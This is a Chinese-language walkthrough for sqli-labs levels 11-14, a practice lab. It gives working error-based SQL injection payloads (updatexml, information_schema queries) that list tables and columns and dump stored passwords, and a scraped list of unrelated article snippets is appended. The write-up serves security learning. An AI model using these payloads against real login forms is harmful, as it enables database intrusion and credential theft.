sqli-labs 11~14 多命通关攻略(报错注入)
sqli-labs 11~14 多命通关攻略(报错注入)
- 描述
- 判断注入类型
- 返回结果
- 错误输入
- 总结
- 符号
- 注释
- 判断返回结果中的列数
- 判断返回结果中的列数为 1
- 判断返回结果中的列数为 2
- 报错注入
- 通过报错注入爆破数据库中的表名
- 通过报错注入爆破数据库中的表名(逻辑或)
- 通过报错注入爆破表 users 中的列名
- 偏移
- 第一次偏移
- 第二次偏移
- 第三次偏移
- 整合
- 通过报错注入爆破表中的字段 password
- 第十二关
- 第十三关
- 第十四关
描述
项目 | 描述 |
---|---|
操作系统 | Windows 10 专业版 |
MySQL 版本 | MySQL 5.7.40 |
Apache 版本 | Apache 2.2.39 |
判断注入类型
返回结果
错误输入
- 请在 username 输入框中输入如下内容并点击 Submit。
"
返回结果:
- 请在 username 输入框中输入如下内容并点击 Submit。
'
返回结果:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’ and password=‘’ LIMIT 0,1’ at line 1
存在错误返回信息,由错误信息我们可以推断该注入点存在 单引号字符型注入。
总结
由于该关卡中会提示错误信息,所以我们可以通过报错注入来爆破数据库。
符号
由于该关卡需要通过 POST 请求来提交数据,所以我们不能像前面的关卡那样在 URL 中添加数据以通过构造 URL 来提交数据,所以也就不存在与 URL 相关的问题。
注释
- #
在输入框中,我们可以使用 # 来对 SQL 语句进行注释,点击 Submit 提交按钮将发送 POST 请求。所以此处的 # 并不会具有 # 直接出现在 URL 中的 锚点 的语义,可以直接使用而不用人为进行 URL 编码去除语义(在 URL 中需要通过使用 %23 来去除 # 在 URL 中的语义以正常使用 #)。
- --
使用该注释符号时,-- 后必须要存在空格才能生效,发挥注释功能。在以往进行 GET 请求提交数据时,我们习惯在 -- 后添加 + 来添加空格使该注释符号生效(在 URL 中,+ 与空格等价)。但在该关卡中,我们需要填写 HTML 表单并通过 POST 进行数据提交,因此 + 并不具有在 URL 中 空格 的语义。
输入框在提交数据(账号密码)时,往往会去除提交内容中头尾的空白字符(本关没有进行该处理,所以我们可以直接使用 "-- " 来对数据),所以我们可以使用 “-- char” 来进行绕过。
判断返回结果中的列数
判断返回结果中的列数为 1
请在 username 输入框中输入如下内容并点击 Submit。
1' order by 2-- q
回显区域中未显示任何内容
判断返回结果中的列数为 2
请在 username 输入框中输入如下内容并点击 Submit。
1' order by 3-- q
返回结果:
Unknown column ‘3’ in ‘order clause’
由于在使用该语句出现了报错信息,所以可以判断返回结果中的列数为 2。
报错注入
通过报错注入爆破数据库中的表名
请在 username 输入框中输入如下内容并点击 Submit。
' union select 1, updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database()), 0x7e), 1)#
返回结果:
XPATH syntax error: ‘~emails,referers,uagents,users~’
通过报错注入爆破数据库中的表名(逻辑或)
其实在前面我们可以不 判断返回结果中的列数 这一步操作的,我们可以通过逻辑或运算符 or 达到同样的效果。
请在 username 输入框中输入如下内容并点击 Submit。
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database()), 0x7e), 1)#
请记住 慢即是快,少即是多。在练习过程中,我们可以多尝试使用更繁琐的操作来解决一件问题,这样往往可以在需要时使用更快捷的操作来将这件问题解决。
通过报错注入爆破表 users 中的列名
请在 username 输入框中输入如下内容并点击 Submit。
' union select 1, updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 1)#
返回结果:
XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’
可以看到返回结果缺少(右边)我们通过 concat() 函数拼接的字符 ~。所以我们可以推断返回的结果由于网页设计的原因而显示不全。
偏移
我们将使用 substr() 截取函数来达到 “移动回显区域中文字的效果”。
第一次偏移
请在 username 输入框中输入如下内容并点击 Submit。
' union select 1, updatexml(1, substr(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 16, 32), 1)#
返回结果:
XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,’
第二次偏移
请在 username 输入框中输入如下内容并点击 Submit。
' union select 1, updatexml(1, substr(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 32, 32), 1)#
返回结果:
XPATH syntax error: ‘,id,username,passwor’
第三次偏移
请在 username 输入框中输入如下内容并点击 Submit。
' union select 1, updatexml(1, substr(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 0x7e), 48, 32), 1)#
返回结果:
XPATH syntax error: ‘,password~’
看到返回结果最右端的字符 ~,我们的偏移工作就已经完成了,接下来我们将对多次返回的结果进行整合。
整合
将多次偏移的结果及最开始得到的部分返回结果进行整合,我们可以得到完整的返回结果为:
XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password~’
通过报错注入爆破表中的字段 password
请在 username 输入框中输入如下内容并点击 Submit。
' union select 1, updatexml(1, concat(0x7e, (select group_concat(password) from users), 0x7e), 1)-- q
返回结果:
XPATH syntax error: ‘~Dumb,I-kill-you,p@ssword,crappy’
可以看到返回结果缺少(右边)我们通过 concat() 函数拼接的字符 ~。所以我们可以推断返回的结果由于网页设计的原因而显示不全。
偏移及整合的操作在前面已经示范,所以此处获得完整的返回结果的任务就交给勤劳的各位了。
第十二关
请在 username 输入框中输入如下内容并点击 Submit。
"
返回结果:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”“) and password=(”") LIMIT 0,1’ at line 1
该关卡仅在闭合方式上与第十一关有所区别。在这一关中,我们需要正确闭合 ("。
第十三关
请在 username 输入框中输入如下内容并点击 Submit。
'
返回结果:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’) and password=(‘’) LIMIT 0,1’ at line 1
该关卡仅在闭合方式上与第十一关有所区别。在这一关中,我们需要正确闭合 ('。
第十四关
请在 username 输入框中输入如下内容并点击 Submit。
"
返回结果:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”" and password=“” LIMIT 0,1’ at line 1
该关卡仅在闭合方式上与第十一关有所区别。在这一关中,我们需要正确闭合 "。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-4498139.html
如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!
ABAP学习笔记之——第九章:ABAP对象
一、类 类(Class)可看做是对象的骨骼 (Template) 或者对象的类型。另外,类是抽象化对象的明细表。即可以说是制作对象的设计书。对象属性由描述对象的状态和行为的构成要素Component)决定。 比较结构化程序和面向对象程序 例: *比较结构化程序 和 面向…...

小程序组件——组件样式隔离
在小程序组件中,自定义组件的样式只受到自定义组件 wxss 的影响,不会收到全局的影响,除非有以下几种情况: app.wxss 或页面的 wxss 中使用了标签名选择器(或一些其他特殊选择器)来直接指定样式,…...

Python 机器学习实战 —— 无监督学习(下)
前言 在上篇《 Python 机器学习实战 —— 无监督学习(上)》介绍了数据集变换中最常见的 PCA 主成分分析、NMF 非负矩阵分解等无监督模型,举例说明使用使用非监督模型对多维度特征数据集进行降维的意义及实用方法。对 MDS 多维标度法、LLE 局…...

为什么Byte是从-128到127?
关注星标公众号,不错过精彩内容编排 | strongerHuang微信公众号 | 嵌入式专栏计算机是一个很神奇的东西,仅靠 0 和 1 就能运算、存储等操作。那么,为什么Byte是从是从-128到127?今天就给大家讲讲计算机二进制的一些内容。嵌入式专…...

java中的锁---乐观锁与悲观锁的区别
锁,是开发中不得不掌握的一个知识点. 在面试中也会经常问到.其中乐观锁与悲观锁为最常见.首先介绍下两种锁 一:乐观锁: 1 介绍: 它的心态很好,每次别人使用它的时候,它会乐观的认为别人不修改数据,所以不加锁.极大的提高效率.适用于读比较多的场景 2 实现: 常用的实现方…...

java pdf 分页_【java】itext pdf 分页
importjava.io.FileOutputStream;importcom.lowagie.text.Document;importcom.lowagie.text.Element;importcom.lowagie.text.ExceptionConverter;importcom.lowagie.text.Font;importcom.lowagie.text.PageSize;importcom.lowagie.text.Paragraph;importcom.lowagie.text.pdf...

vue监控回车事件
vue监听键盘回车事件–Enter 方法一:keyup.enter vue文档提供了一种按键修饰符的方法: <input v-on:keyup.enter"submit">(keyCode事件已经被废弃),这种方法的使用前提是使用的当前元素必须要获取focus焦点&am…...

java kaptcha_java相关:kaptcha验证码使用方法详解
java相关:kaptcha验证码使用方法详解发布于 2020-6-7|复制链接摘记: 本文为大家分享了kaptcha验证码的使用方法,供大家参考,具体内容如下1.首先在pom.xml文件中导入Maven依赖jfxcom.github.pengglekaptcha..本文为大家分享了kaptcha验证码的使…...

Python调用VBA事件编程监控Excel
📢博客主页:https://blog.csdn.net/as604049322 📢欢迎点赞 👍 收藏 ⭐留言 📝 欢迎讨论! 📢本文由 小小明-代码实体 原创,首发于 CSDN🙉 今天我要演示的是如何使用Pytho…...

自动驾驶系统-控制模块PID初探
从事自动驾驶相关工作两年多以来,控制模块是我比较陌生的,最近这段时间刚好有时间学习一下这个模块具体的工作原理。 1.简介 汽车控制如同每个人驾驶自己车辆一样,当你熟悉前方道路的时候你如何去控制你的车辆?显然,如…...

倾斜摄影实景三维建模效果不好?可能有这些原因!
一、引言 目前,实景三维建模主要采用倾斜摄影技术。而既然要做到实景建模,我们当然希望模型效果尽可以反映真实世界,但是在以下面四个场景中,建模效果会有不同程度影响。 1、反光面,无法反映物体真实纹理信息。例如水…...

无人机无线传感器网络中的节能数据采集(Matlab代码实现)
目录 💥1 概述 📚2 运行结果 🎉3 参考文献 👨💻4 Matlab代码 💥1 概述 无线传感器网络(WSN)中传感器的传感、处理、存储和通信功能不断增强。数据采集是传感器网络的基础功能…...

python中的对数_python中计算log对数的方法
python中计算log对数的方法发布时间:2020-07-15 10:18:23来源:亿速云阅读:62作者:清晨小编给大家分享一下python中计算log对数的方法,希望大家阅读完这篇文章后大所收获,下面让我们一起去探讨吧!…...

短视频新媒体运营策划推广工作计划表模板
文档下载网盘地址!https://pan.baidu.com/s/1-84XBRLhJl89GDX_7kXWSw?pwd4ehb 想跟大家讲一个简便的记忆方法,叫做三明治记忆法,是巧用你的潜意识来帮助你记忆的。那首先我讲一下原理,我们的记忆是分短期记忆跟长期记忆的。什么…...

安装mysql中error nr.1045_windows10安装mysql提示error Nr.1045的解决方法
windows10系统上安装mysql的时候被提示error Nr.1045这是怎么回事?要怎么解决这个问题?下面就跟大家说说具体的解决方法。windows10安装mysql提示error Nr.1045的解决方法:具体步骤如下:1、管理工具---服务里面停止MySQL服务;(在…...

vue实现:带关键字跳转企查查并搜索关键字对应的企业
2. 3. 4.搜索栏里面的地址,关键字为"嘿嘿嘿",可点击查看 https://www.qcc.com/web/search?key%E5%98%BF%E5%98%BF%E5%98%BF 把搜索栏里面的地址复制下来放在代码里面,key后面的字符就是我们要传的关键字,替换即可。…...

Js十进制转16进制
function zh(num){ //十六进制单位转换函数 switch(num){ case 0 : return "0"; case 1 : return "1"; case 2 : return "2"; case 3 : return "3"; case 4 : return "4"; case 5 : return "5"; case 6 : return …...

数据结构笔记——最短路径BFS算法
写在前面:科班出身,应届考研党,愿21考研成功上岸,冲冲冲! 目录 一、最短路径问题 二、BFS求无权图的单源最短路径 三、代码实现 四、总结 一、最短路径问题 单源最短路径——BFS算法、Dijkstra算法 其中BFS算法…...

dart语言和flutter学习——Dart语言学习
一、编译环境 IntelliJ IDEA安装Dart插件及下载并配置DartSDK路径,创建Dart项目 二、Dart语言学习记录 学习感受:总体感觉Dart的语法没什么特殊的地方,基本和java和JavaScript差不多,学习起来可能花个几小时看完官方文档并敲一遍…...

RedisMQ
一、消息队列 1、消息队列的基本作用? 1、异步处理 2、代码解耦 3、流量削峰 4、日志处理 2、消息队列的优缺点有哪些? 优点:异步、解耦、削峰 缺点:系统可用性降低、系统复杂性提高、数据一致性问题 引入MQ后,MQ…...

人工智能数学之信息论
信息论 信息论(Information Theory)是概率数理统计分支,我们主要看信息论在人工智能中的应用,所以目前只关注相关的信息。例如基于信息增益的决策树,最大熵模型, 特征工程中特征选取时用到的互信息…...

flex布局 + 应用场景
文章目录 1.什么是flex布局, 2.flex 的主轴方向。 3.flex 的侧轴的方向 4.flex属性的各种属性 什么是flex布局 Flex 是 Flexible Box 的缩写,意为"弹性布局",用来为盒状模型提供最大的灵活性。 1.1 适用范围: 1. 任何…...

GIS实战应用案例100篇(三)-基于NDVI指数的绿地信息提取
NDVI的计算 (1) 打开预处理后的影像 (2) band math工具 打开ENVI 5.3 band math工具,输入公式:float(b4-b3)/float(b4+b3) ,点击OK,定义b3为Band 3红波段,b4为Band 4近红外波段,选择输出路径及文件名,点击OK: (3) 得到的NDVI图层如下 (4) Quick Stats 右击该图层,选…...

Python干货基础知识分享:运算符详解
运算符:以1 2为例,1和2被称为操作数,“” 称为运算符。 Python语言支持以下类型的运算符: 算术运算符 比较(关系)运算符 赋值运算符 逻辑运算符 位运算符 成员运算符 身份运算符 三目运算符 一、 算术运算符 以下假…...

基于Raft共识搭建单机Fabric1.4网络
基于Raft共识搭建单机Fabric1.4网络环境 这个时间段,fabric社区已经更新到了2.3版本了,但是当前在使用fabric业务的公司里面大多数公司使用的还是fabric1.4版本,写这篇博客的目的就是为了补充一下fabric搭建的工具文章。 1.搭建fabric网络环境…...

Javascript 10进制转16进制补0 ,16进制转10进制
Javascript 10进制转16进制补0 ,16进制转10进制10进制转16进制补016进制转10进制10进制转16进制补0 // 10进制转16进制补0 function dec2hex(dec, len) {//10进制转16进制补0var hex "";while( dec ) {var last dec & 15;hex String.fromCharCode(((last>…...

linux 高效的文件系统事件监控 内核级解析方案 inotify
转载 http://www.lvtao.net/config/inotify.html linux 高效的文件系统事件监控 内核级解析方案 inotify 安装inotify-tools (http://inotify-tools.sourceforge.net) 下载源码包 wget http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz tar zxv…...

echarts 大屏适配
两篇文章: 大屏适配解决方案 - 掘金 更新!移动端最佳适配解决方案出炉 第一个项目:vw,vh 适配 <meta name"viewport" content"widthdevice-width,initial-scale1.0,user-scalableno">在项目的 index.html 添加。…...

Couldn’t load custom C++ ops.
Couldn’t load custom C ops.1.问题描述2.分析问题2.1 查看torch和torchvision版本2.2 重新安装torch,torchvision,torchaudio2.2.1卸载torch,torchvision,torchaudion2.2.2pip安装3.总结1.问题描述 Couldn‘t load custom C op…...

经典资料下载
孙鑫VC从入门到精通开发详解视频教程FLASH版 http://www.qihee.net/soft/10/2006/200609161182.html 北航单片机视频教程[RM] http://www.qihee.net/soft/1/2007/200702241743.html 《清华大学计算机系网络课程》—计算机原理 http://www.qihee.net/soft/1/2007/200702241753.h…...

2022年北京产品经理认证招生简章(NPDP)
产品经理国际资格认证NPDP是国际公认的唯一的新产品开发专业认证,集理论、方法与实践为一体的全方位的知识体系,为公司组织层级进行规划、决策、执行提供良好的方法体系支撑。 【认证收益】 权威国际认证:NPDP认证是产品管理领域历史最久、知…...
基于信息论的编码技术
摘 要 信息论是通过应用密码学、概率论、信息熵、通信系统、随机过程等方法,来研究信息的传输、提取和处理系统的一门学科。而编码技术研究的主要内容是如何既可靠又有效地传输信息。1948年香农在《贝尔系统技术杂志》上发表了《通信的数学理论》。次年,…...

gulp相关
gulp简介 gulp是一个自动化构建工具,可以实现各种文件类型的检测,压缩,合并,重命名,部署,将ES6代码转化为ES5等操作-g:全局 配置环境变量未被添加-g的模块活命令,只能再当前目录下使…...

imx8qm wifi sdio调试
imx8qm平台用的是有WIFI和BT功能的Murata 芯片,型号是LBEE6U41LQ,WIFI采用sdio接口,由WL_EN控制上电;BT是UART1接口,由BT_EN控制上电; 一.硬件原理 二.引脚信息 /* bt enable*/SC_P_USDHC2_VSELECT /* uar…...

回溯法求所有子集
给定一个整数数组 nums ,数组中的元素 互不相同 。返回该数组所有可能的子集(幂集)。 解集 不能 包含重复的子集。你可以按 任意顺序 返回解集。 输入:nums [1,2,3] 输出:[[],[1],[2],[1,2],[3],[1,3],[2,3],[1,2,3…...

ExoPlayer播放器剖析(二)编写exoplayer的demo
关联博客: ExoPlayer播放器剖析(一)进入ExoPlayer的世界 ExoPlayer播放器剖析(二)编写exoplayer的demo ExoPlayer播放器剖析(三)流程分析—从build到prepare看ExoPlayer的创建流程 ExoPlayer播放…...

怎么查询AI论文的源代码?
本文转载于微信公众号:知识本体论。已获作者转载授权 入门学习人工智能,除了学习基本的教程外,最重要的一个提升之路就是要重复前沿的论文的代码,而现实情况是很多论文并不提供代码。有了现在这个网站( https://paperswithcode.co…...

逻辑斯蒂回归分类算法
逻辑斯蒂回归分类算法 首先来看一个线性回归来进行分类的问题: 怎样判断肿瘤是否恶性? 很明显线性回归用于分类问题无法处理边界点的位置。 同时,线性回归健壮性不够,一旦有噪声,立刻“投降” 使用逻辑斯蒂回归 ——…...

艰辛的北京一周
自从上一次发表博文去还是留,已不是一个问题(续)到现在,又经历了不少公司(可以用无数来形容了)。 现在遇到的最大的问题就是面试通过后待遇怎么谈,应该说多少。 虽然上海又经历了不少的公司&…...

vue3 组件拖拽小案例
vue3 实现组件拖拽小案例 一.实现效果 将不同组件拖拽至展示区展示 拖拽前 拖拽后,取消后还原(没有动态演示真抱歉) 二.实现过程 页面基本样式 <template><div class"drag-view"><!-- 拖拽页面基本布局 --><div class"drag-left&…...

windows10 wifi热点手机连接显示无网络连接问题解决
开启win10自带热点功能,使用手机连接时,手机一直显示连接不上。 因为前段时间是使用过这个功能的,所以希望能想办法解决该问题。 试了很多网上的解决方法,大同小异。依旧还是不行。 之后下载猎豹免费wifi,发现的确是…...

OpenGL和CUDA互操作的显卡驱动问题
使用OpenGL进行图形渲染并显示出来,然后使用CUDA进行计算,将计算结果传输到OpenGL的渲染管线中。在这里可能会遇到一个问题,代码执行到cudaGraphicsGLRegisterBuffer()函数会出错,CUDA的API接口会抛出一个错误代码999,…...

Python读取Access数据库基本操作
接上篇《python操作Access .mdb数据库环境配置》配置好的环境,进行Access数据库基本的操作。 #导入模块 import pypyodbc import win32com.client pathrC:\Users\Administrator\Desktop\test.mdb# 数据库文件 #获取单个表结构信息 con win32com.client.Dispatc…...

Double 保留四位小数
double avg hwSum / hwCount;// 原生 double 值double result Double.parseDouble(datum.getValue()) - avg;BigDecimal b new BigDecimal(result);// 转换后的 double 值result b.setScale(4, BigDecimal.ROUND_HALF_UP).doubleValue();...

zabbix 触发器详解
官网 https://www.zabbix.com/documentation/4.0/zh/manual/acknowledgeszabbix监控中我们用的最多的是count这个函数,通过确认多次可以减少很多误告警,提高了运维效率。 可以设置连续几次都异常才发出告警,这样一来,只要发出告警…...

libev源代码分析--事件监控器
另外两个重要的监控器 前面通过IO监控器将Libev的整个工作流程过了一遍。中间滤过了很多与其他事件监控器相关的部分,但是整体思路以及很明晰了,只要针对其他类型的watcher看下其初始化和注册过程以及在ev_run中的安排即可。这里我们再分析另两个常用的…...

Zabbix-28之Zabbix5.0安装手册
一、目标 在centos7.6上安装部署zabbix5.0监控系统(无坑版) 本帖只写如何安装zabbix5.0、如何在web上添加被监控主机 二、拓扑说明 zabbix拓扑和角色说明IPOSModuleRoles10.1.1.10centos 7.6zabbix_server 5.0.5、MariaDB、Apachezabbix server/agent…...

html 怎么转换,html怎么转换成word?
工作中有些时候,领导下达指令需要将html格式的内容转换成Word格式的文档,对于很多新手来说,就着实不知道该如何下手了,如果是一个一个转换的话,内容过多就很艰难,而且十分耽误工作效率,那么html…...

帝国cms后台登陆显示Cann‘t connect to DB 解决方法
帝国cms后台登录显示Cann’t connect to DB!是什么原因呢?想必很多的小伙伴在网站搬家或者是上传空间服务器都会遇见这个问题吧!出现这段提示是什么原因呢?很多小白就困惑了,这到底什么意思呢?其实博主刚开始接触帝国CMS的时候也…...

java的乐观锁和悲观锁
参考: https://www.cnblogs.com/jyroy/p/11365935.html https://www.jianshu.com/p/ae25eb3cfb5d 乐观锁和悲观锁 乐观锁和悲观锁是一种广义上的概念,体现了看待线程同步的不同角度。 乐观锁:对于并发操作产生的线程安全问题持乐观态度&…...

win32com操作word 第二集:ApplicationDocuments接口
本课程《win32com操作word API精讲&项目实战》以视频为主,文字教程为辅,公众号:一灯编程 先回答一个网友私信问题: win32com和微软的word接口文档有什么关系 win32com的底层调用的是word的接口,理论上,想查看win32…...

Java基础语法-文档注释JavaDoc
1.什么是java文档 java文档中描述了完整的包的结构,包中的类的信息, 类中的属性、方法,以及方法的参数,返回值,异常抛出等信息。 java文档是用来帮助我们能够快速的熟悉和使用一个陌生的类。2.官方的java文档长什么样…...

Java的PDF分页操作:分页读取、分页拆分
本文以Java示例展示读取PDF分页读取、分页拆分的方法。 1、分页读取 1.1 Maven仓库下载导入 在pom.xml中配置maven路径,指定依赖,如下: <dependency> <groupId>org.apache.pdfbox</groupId> &l…...

SDN实验(九)——基于链路质量的最短路径转发算法
SDN实验(九)——基于链路质量的最短路径转发算法一、原理二、拓扑结构三、程序设计1、获取链路拓扑2、更新拓扑信息3、获取输出端口4、处理packet_in消息四、实验验证1、启动Ryu控制器2、运行拓扑3、ping验证一、原理 关于时延探测原理和网络拓扑的发现原…...
蓝鲸-监控告警
目前覆盖的监控对象包含主机层、组件层、服务拨测,对于无法开箱即用的监控对象可以使用脚本采集、日志采集以及组件二次开发,通过仪表盘实现自定义可视化视图呈现,基于iPaaS的产品设计(关联CMDB、作业执行、数据平台等)…...
计算机是如何计算 log 函数的?
链接:https://www.zhihu.com/question/333371020编辑:深度学习与计算机视觉声明:仅做学术分享,侵删就是比如已知一个实数(或者复数)k,求其 log(base n)。想知道具体算法以用于简化一些修正算法。…...

网络安全协议之IPsec
声明 本文仅发表在博客园,作者LightningStar。 简介[1] IPSec(Internet 协议安全)是一个工业标准网络安全协议,工作在OSI模型的第三层,即网络层,为IP网络通信提供透明的安全服务,可使TCP/IP通信免遭窃听和篡改,可以有效抵御网络攻击,同时保持易用性。IPSec是一种端到端的…...

详解JVM常量池、Class常量池、运行时常量池、字符串常量池
https://blog.csdn.net/qq_45737068/article/details/107149922?spm1001.2101.3001.6650.1&utm_mediumdistribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1.pc_relevant_paycolumn_v3&depth_1-utm_sourcedistribute.pc_relevant.none-task-blog-2%...
高中生学c语言编程,高中生如何学习编程——为什么我们要学习编程
博主是一个即将升上高三的学生,作为学校第一个编程兴趣社团的社长、学校内普遍公认的编程大佬、数学建模编程顾问(自封)以及机器人社团技术顾问,我自认为在这个话题上有一定的发言权。但是我一直没有发言,一方面是懒,没有督促我写…...

html 照片墙
html 照片墙 代码很简单,首先准备一些照片放入一个文件夹。 之后上代码,难度不大,可以直接复制粘贴使用: html文件: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DT…...

消息批处理端口说明
为满足用户需要对多文件做批处理的需求,在2022版本的知行之桥中,开发人员开发设计了3个新的端口,分别是Batch Create 端口、Batch Merge 端口和Batch Split 端口。 功能是对传入端口的消息做批处理,使得消息可以在批处理组中分组在…...

药学【5】
1.给患者调整抗抑郁药时必须谨慎,以单胺氧化酶抑制剂替换选择性5-羟色胺再摄入抑制剂时,应当间隔一定的时间,至少应间隔() A.1天 B.5天 C.7天 D.10天 E.14天 2.西酞普兰抗抑郁的药理作用机制是() A.抑制5-羟色胺再摄取 B.抑制神…...

各论题库【1】
1.去甲肾上腺素在体内消除的主要途径是() A.被MAO破坏 B.被COMT破坏 C.被AchE破坏 D.被神经末梢重摄取 E.经肾脏排泄 2.激动β1受体产生的效应是() A.骨骼肌松弛 B.血管扩张 C.内脏平滑肌收缩 D.心肌收缩力增强 E.呼吸道腺体分…...

【渝粤教育】国家开放大学2018年秋季 2110T行政法与行政诉讼法 参考试题
试卷代号:2118 药理学 试题 2019年1月 一、单项选择题(50题,每题2分,共100分) 1.药物产生副反应的药理学基础是( ) A.用药剂量过大 B.药理效应选择性低 C.患者肝肾功能不…...

止疼药-盐酸羟考酮缓释片//2021-2-20
正文: 本品活性成份为盐酸羟考酮。 化学名称:4,5-环氧基-14-羟基-3-甲氧基-17-甲基吗啡烷-6-酮盐酸盐。 化学结构式: 分子式:Cl8H21N04HCl 分子量:351.83 效用及其副作用: 盐酸羟…...

药学【28】
1.下列哪项与青霉素G性质不符 A.易产生耐药性 B.易发生过敏反应 C.可以口服给药 D.对革兰阳性菌效果好 E.为天然抗生素 2.以下哪个不符合头孢曲松的特点 A.其结构的3位是氯原子取代 B.其结构的3位取代基含有硫 C.其7位是2-氨基噻唑肟 D.其2位是羧基 E.可以通过脑膜 3.去除四…...

药学【13】
1.患者,男,29岁,因急性胆囊炎就诊,医师处方头孢曲松,患者在治疗过程中应注意 A.禁止与钙剂同时应用 B.禁止与考来烯胺同时应用 C.禁止与氯化钠同时应用 D.禁止与维生素C同时应用 E.禁止与环孢素同时应用 2.老年人使用…...

基于药效团模型发现双重σ1受体拮抗剂和μ阿片激动剂
摘要:报道了一系列新型1-氧杂-4,9-二氮杂螺[5.5]十一烷衍生物作为σ1受体(σ1R)和μ阿片受体(MOR)的有效双重配体的合成和药理活性。通过合成方法探索了使用两种靶标药效团模型合并的策略设计了中心骨架的不同位置。9号位置苯乙基衍生物,4号位的取代吡啶…...
迷幻的梦境
自从断奶以来,也可能尚在妈妈肚子里的时候就开始了我的梦境之旅,我的梦境内容波谲云诡,变幻莫测,天马行空,如痴如醉,梦里果然啥都有。关于做梦想必每个人都不陌生,诺兰的「盗梦空间」甚至拓展完…...
陈洁kiki宠粉节狂欢夜观看破千万!四年磨一剑将宠粉做到极致
最近不少人最近都被一句话刷了屏——"你的愿望我来实现",这个夏天最梦幻的许愿之夜在7月16日晚正式上演。淘宝TOP主播陈洁kiki带来了她的首届粉丝节——由顾家家居冠名的"Hellokiki"716陈洁kiki宠粉节。王耀庆、金莎、沈凌、方家翊、小李琳、林凡、薛明媛、…...
如何用全球顶级名画,成为全行业最令人羡慕的人?
▲ 点击查看马克思曾说:“如果你想得到艺术的享受,那你就必须是一个有艺术修养的人。”假如现在有下面两幅画,站在艺术的角度上,你会选择哪个呢?或者我们可以换一个问法:哪一种猫才是最符合你心中标准的猫&…...

UE4c++日记1(允许 创类、蓝图读写/调用/只读、分类、输出日志打印语句)
目录 1允许创建基于xx的蓝图类 2允许蓝图读写/允许蓝图调用/只读 读写调用 只读 3为变量/函数分类 4输出日志打印一段话 1.先创建一个蓝图类 2.构建对象 3.写提示代码,生成解决方案 4.运行,打开“输出日志” 5.总结 创类-实例化对象(构建…...

【夸夸其谈】为啥老想玩——浅谈游戏成瘾原因
游戏成瘾作为以前经常被人提及的概念,多数人简单粗暴的一股脑把罪责全都推到游戏本身,认为其是“电子海洛因”,往往选择忽视背后的深层次原因。这无疑是偷懒欠思考的,因为人类成瘾历来有之,游戏一定是因为触达到了人性…...

Effie:陪你守候那些观影岁月
寻影启事 乔托 卡努杜将电影定义为第七大艺术已经过去了一百年,电影从一种有几帧图片组成的动画发展为一种能够综合其他诸如建筑,绘画,音乐的艺术形式的存在。这赋予电影艺术极强的表现力,让他能够超越其他的艺术的表现手段。如…...

纪录片推荐-造梦者:马云和他永远的“少年阿里”
今天早上同事转了这个视频,又重温一遍,创业一段时间再看这个纪录片,感受是完全不一样的,创业的艰辛不是“艰辛”2字可以形容的。 在没有订单、没有客户、没有资金、没人跟随的困境面前,一个创业者,只有无比…...

看阿里记录片--造梦者有感
今天中午休息时间看一部关于阿里的记录片,时长55分钟,我只看到40多分钟,由于上班的原因停止了观看,剩下的下次再看,但是再我看的前面40多分钟,片中的很多地方让我很感动,很多的细节让人感慨阿里…...
《不要放弃》阿里巴巴创业纪录片,观后感想!
视频地址: http://v.youku.com/v_show/id_XMTYyMDQzMzg0NA.html?froms1.8-1-1.2 why? 20岁的贪玩,造就了30岁的无奈。 30岁的无奈,导致了40岁的无为。 40岁的无为,奠定了50岁的失败。 50岁的失败,酿造了一辈子的碌…...

fan4801开关电源原理图_FAN41501
1955年,“晶体管之父”威廉肖克利(WilliamBradfordShockley)离开比尔实验室,创建肖克利半导体实验室(ShockleySemiconductorLaboratory)。他吸引了很多富有才华的年轻科学家加盟。但是很快,肖克利的管理方法和怪异行为引起员工的不满。其中八…...

python julia_从Julia角度看机器学习的python经验
python juliaI recently went through some machine learning training with Python, and wanted to reflect a bit on how I experienced that when comparing it with my experience with Machine Learning in Julia.最近,我接受了一些使用Python进行的机器学习培…...

python绘制动态Julia集,超炫酷
Julia集 此Julia非彼Julia,指的是对于某复数ccc,使得迭代式f(z)z2cf(z)z^2cf(z)z2c收敛的复数zzz的集合。例如,当c0c0c0时,那么其收敛区间为z2<1z^2<1z2<1的单位圆,对应的ccc的Julia集便是cosθisinθ\c…...
unity3d shader之Julia集和Mandelbrot集绘制美丽图案
在书上偶然看到Mandelbrot集的绘制方法,在网上查阅了一些资料,自己动手试了一下,终于“看到了”数学之美。 在百度百科上的简介 曼德勃罗特集是人类有史以来做出的最奇异,最瑰丽的几何图形.曾被称为“上帝的指纹”。 这个点集均出自公式:Zn…...
六个酷炫动图背后的数学问题
今天为大家展现一些有趣的视觉现象及其背后的数学问题: 一、直与弯 咦?一根直杆为什么能从弯曲的洞中穿过? 想想这其实不奇怪。这根杆是斜着的,杆中间的点离旋转轴最近,因此对应的洞上的点离旋转轴也最近;杆…...

分形--朱利亚集合图形1
